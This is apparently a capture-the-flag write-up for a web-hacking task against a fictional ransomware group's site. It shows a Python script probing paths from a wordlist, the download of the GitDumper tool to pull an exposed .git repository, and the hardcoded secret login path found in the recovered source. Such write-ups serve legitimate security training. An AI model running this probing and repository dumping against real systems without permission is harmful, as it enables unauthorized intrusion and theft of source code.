### December 8, 2022

# 1 Task B2 - Getting Deeper - (Web Hacking, [redacted])Points: 100

#### 1.1 Problem statement

It looks like the backend site you discovered has some security features to prevent you from snooping. They must have hidden the login page away somewhere hard to guess.

Analyze the backend site, and find the URL to the login page.

Hint: this group seems a bit sloppy. They might be exposing more than they intend to.

Warning: Forced-browsing tools, such as DirBuster, are unlikely to be very helpful for this challenge, and may get your IP address automatically blocked by AWS as a DDoS-prevention measure. Codebreaker has no control over this blocking, so we suggest not attempting to use these techniques.

#### 1.2 What to do

Enter the URL for the login page

## 1.3 Write-up

This webpage is the answer of B1.

https://fqdhyckntpkovqhu.ransommethis.net/demand

So, the domain is https://fqdhyckntpkovqhu.ransommethis.net/.

Try these pages to get the entry page for this problem. Following is the script to try all combinations.

import requests

```
BASE_URL = "https://fqdhyckntpkovqhu.ransommethis.net/"
```

```
if __name__ == "__main__":
    res = []
    with open("data/b2/common.txt", "r") as f:
        lines = f.readlines()
        for line in lines:
            url = BASE_URL + line.strip()
            r = requests.get(url)
            if r.status_code == 200:
```

```
print(f"{url} is vulnerable")
                    res.append(url)
        print(f"Vulnerable URLs: {res}")
    Following is the result.
    https://fqdhyckntpkovqhu.ransommethis.net/.git/HEAD is vulnerable
    https://fqdhyckntpkovqhu.ransommethis.net/.git/config is vulnerable
    https://fqdhyckntpkovqhu.ransommethis.net/.git/index is vulnerable
    Vulnerable URLs: ['https://fqdhyckntpkovqhu.ransommethis.net/.git/HEAD', 'https://fqdhyckntpko
    You've found something at https://fqdhyckntpkovqhu.ransommethis.net/.git/. Access .git/
    folder to fetch the repository. Following are the commands to do that.
[1]: | %%bash
     curl https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/
      ⇒gitdumper.sh > ./data/b2/gitdumper.sh
                 % Received % Xferd Average Speed
      % Total
                                                     Time
                                                              Time
                                                                       Time Current
                                     Dload Upload
                                                     Total
                                                              Spent
                                                                       Left Speed
                                                0 --:--:- 30692
    100 4389 100 4389
                                  0 29259
[2]: %%bash
     chmod +x ./data/b2/gitdumper.sh
     ./data/b2/gitdumper.sh https://fqdhyckntpkovqhu.ransommethis.net/.git/ ./data/
      ⇒b2/repo
    ##########
    # GitDumper is part of https://github.com/internetwache/GitTools
    # Developed and maintained by @gehaxelt from @internetwache
    # Use at your own risk. Usage might be illegal in certain circumstances.
    # Only for educational purposes!
    ##########
    [+] Downloaded: HEAD
    [-] Downloaded: objects/info/packs
    [+] Downloaded: description
    [+] Downloaded: config
    [+] Downloaded: COMMIT_EDITMSG
    [+] Downloaded: index
    [-] Downloaded: packed-refs
    [-] Downloaded: refs/heads/master
    [-] Downloaded: refs/remotes/origin/HEAD
    [-] Downloaded: refs/stash
    [+] Downloaded: logs/HEAD
    [-] Downloaded: logs/refs/heads/master
```

[-] Downloaded: logs/refs/remotes/origin/HEAD

```
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/d4/a4871a24f2a62b2ac728103c5a7c58b84a0708
[+] Downloaded: objects/3f/3ce9eeac9c9f3d5be05e91ac97f266d484c27b
[+] Downloaded: objects/fc/46c46e55ad48869f4b91c2ec8756e92cc01057
[+] Downloaded: objects/dd/5520ca788a63f9ac7356a4b06bd01ef708a196
[+] Downloaded: objects/47/709845a9b086333ee3f470a102befdd91f548a
[+] Downloaded: objects/97/e95b51e464ca1e16f732ea6ba083a03f1f258e
[-] Downloaded: objects/fb/93f4116f9acbbeae1e3fc37f51403cf2bfa569
[-] Downloaded: objects/76/82dc8afb30297001674575ea00d1814d808d6a
[-] Downloaded: objects/bb/4d8133cb15a609f44e8213d9b391b080979506
[-] Downloaded: objects/76/ec2cde23700a6fc4fee098168b9dee43b99c2f
[-] Downloaded: objects/84/b5f71ed30021193cb0faa45d7776e1083f392c
[-] Downloaded: objects/31/5ded2ddf8a6281567edb27393010fe3406188b
[-] Downloaded: objects/fa/d5b446feb0d6db6aec0c3184d16a8c1f6c3e46
[-] Downloaded: objects/cb/08ed940183f6343a64e465e83b3a3f13c53e1b
[-] Downloaded: objects/2c/2349112351b88699d8d4b6b075022c0808887c
[-] Downloaded: objects/5d/bbc68b317e5e42f327f9021763545dc3fc3bfe
[-] Downloaded: objects/31/351a702a408a9e7595a8fc6150fc3f43bb6bf7
[-] Downloaded: objects/60/88930bfe239f0e6710546ab9c19c9ef35e2979
[-] Downloaded: objects/02/12a68688482dc52b2d45013df70d169f542b73
[-] Downloaded: objects/08/9cf3dbf0cd6c100f02945abeb18484bd1ee57a
[-] Downloaded: objects/10/c1bfff05d95783da83491be968e8fe78926368
[-] Downloaded: objects/33/b74d289bd2f5e527beadcaa3f401e0df0a8992
[-] Downloaded: objects/37/99351e2336dc91ea70b034983ee71cf2f9533c
[-] Downloaded: objects/3c/e11ee3f23f79dbd06fb3d63e2f6af7b12db1d4
[-] Downloaded: objects/42/1be9fbf0ffe9ffd7a378aafebbf6f4602d564d
[-] Downloaded: objects/43/093fb83d8343aac0b1baa75516da6092f58f41
[-] Downloaded: objects/46/d00d6cfecdde84d40e572d63735ef81423ad31
[-] Downloaded: objects/4a/33dea2b688b3190ee12bd7cfa29d39c9ed176b
[-] Downloaded: objects/4b/9fe39a2ccc108a4accc2676e77da025ce383c1
[-] Downloaded: objects/56/442863ed2b06d19c37f94d999035e15ee98298
[-] Downloaded: objects/67/1cd1187ed5e62818414afe79ed29da836dde67
[-] Downloaded: objects/69/4deca8d702d5db21ec83983ce0bb4b26a578e7
[-] Downloaded: objects/6a/074d34ee7a5ce3effbc526b7083ec9731bb3cb
[-] Downloaded: objects/6d/0072fea50feec76a4c418096652f2c3238eaa0
[-] Downloaded: objects/6f/bf47b5d3728c6aea2abb0589b5d30459e369ba
[-] Downloaded: objects/7f/91197cc9e48f989d12e4e6fbc46495c446636d
[-] Downloaded: objects/86/b1f75c4e7c2ac2ccdaec2b9022845dbb81880c
[-] Downloaded: objects/8d/c1c72a69aa7e082593c4a203dcf94ddb74bb5c
[-] Downloaded: objects/8e/3dcf21f367459434c18e71b2a9532d96547aef
[-] Downloaded: objects/8e/576a51ad59e4bfaac456023a78f6b5e6e7651d
[-] Downloaded: objects/96/e37a3dc86e80bf81758c152fe66dbf60ed5eca
[-] Downloaded: objects/97/a68e6ada378df82bc9f16b800ab77cbf4b2fad
[-] Downloaded: objects/99/a2a507ed3ac881b975a2976d59f38c19386d12
```

```
[-] Downloaded: objects/a4/9907dd8420c5685cfa064a1335b6754b74541b
[-] Downloaded: objects/b0/9bf97215625a311f669476f44b8b318b075847
[-] Downloaded: objects/b7/bd98b796e2b6553da7225aeb61f447f80a1ca6
[-] Downloaded: objects/b8/7db4360013327109564f0e591bd2a3b318547b
[-] Downloaded: objects/bc/b3ed405ed3222f9904899563d6fc492ff75cce
[-] Downloaded: objects/d4/306c36ca495956b6d568d276ac11fdd9c30a36
[-] Downloaded: objects/d5/ee4f386140395a2c818d149221149c54849dfc
[-] Downloaded: objects/dd/a30ba7e87fbbb7eab1ec9f58678558fd9a6b8b
[-] Downloaded: objects/e0/4e26803c9c3851c931eac40c695602c6295b8d
[-] Downloaded: objects/e1/c0b87e09fa55a220f058d1d49d3fb8df88fbfa
[-] Downloaded: objects/e7/2591e9ecd94d7feb70c1cbd7be7b3ebea3f548
[-] Downloaded: objects/e8/c843bbcda3a2f1e3c2ab25913c80a3c5376cd0
[-] Downloaded: objects/ef/c1913fd2ca4f334418481c7e595c00aad18656
[-] Downloaded: objects/f1/21a1420d4e173a5d96e47e9a0c0dcff965afdf
[-] Downloaded: objects/fc/7b548b17d238737688817ab67deebb30e8073c
[-] Downloaded: objects/72/d1d253f32dbd4f5c88eaf1fdc62f3a19f676cc
[-] Downloaded: objects/d4/2908208c699b3b973cbeb01a969ba6a96c821e
[-] Downloaded: objects/2c/737903b2b6864ebc6167eef7cf3b997126f1aa
[-] Downloaded: objects/75/00c9625927c8ec60f54377d590f67b30c8e70e
[-] Downloaded: objects/78/0a4082c5fbc0fde6a2fcfe5e26e6efc1e8f425
[-] Downloaded: objects/1c/e08e8093ed67d638d63879fd1ba3735817f7a8
[-] Downloaded: objects/72/a4b735692dd3135217911cbeaa1be5fa3f62bf
[+] Downloaded: objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
[+] Downloaded: objects/c9/1a4fca2388410cde8d8af1f317bc19a802a461
[+] Downloaded: objects/b7/4c07f2fa23cffe19ef8af211a820f26094a53b
[+] Downloaded: objects/a4/5dd7e290a55af9879f671fc3a78bef5923e249
[+] Downloaded: objects/a8/44f894a3ab80a4850252a81d71524f53f6a384
[+] Downloaded: objects/1d/f0934819e5dcf59ddf7533f9dc6628f7cdcd25
[+] Downloaded: objects/b9/cfd98da0ac95115b1e68967504bd25bd90dc5c
[+] Downloaded: objects/bb/830d20f197ee12c20e2e9f75a71e677c983fcd
[+] Downloaded: objects/50/33b3048b6f351df164bae9c7760c32ee7bc00f
[+] Downloaded: objects/10/917973126c691eae343b530a5b34df28d18b4f
[+] Downloaded: objects/fe/3dcf0ca99da401e093ca614e9dcfc257276530
[+] Downloaded: objects/77/9717af2447e24285059c91854bc61e82f6efa8
[+] Downloaded: objects/05/56cd1e1f584ff5182bbe6b652873c89f4ccf23
[+] Downloaded: objects/56/e0fe4a885b1e4eb66cda5a48ccdb85180c5eb3
[+] Downloaded: objects/ed/1f5ed5bc5c8655d40da77a6cfbaed9d2a1e7fe
[+] Downloaded: objects/c9/80bf6f5591c4ad404088a6004b69c412f0fb8f
[+] Downloaded: objects/47/0d7db1c7dcfa3f36b0a16f2a9eec2aa124407a
```

## [3]: %%bash

cd ./data/b2/repo && git restore .

Read source code you got.

server.py's line 156 looks the cause.

```
# Super secret path that no one will ever guess!
if pathkey != expected_pathkey():
```

```
return render_template('unauthorized.html'), 403
```

So, go to expected\_pathkey() and check what path you should visit.

```
def expected_pathkey():
    return "flowgekzpzomwuqv"
```

So, go to https://fqdhyckntpkovqhu.ransommethis.net/flowgekzpzomwuqv/ and you will be redirected to https://fqdhyckntpkovqhu.ransommethis.net/flowgekzpzomwuqv/login.

You've got the flag.

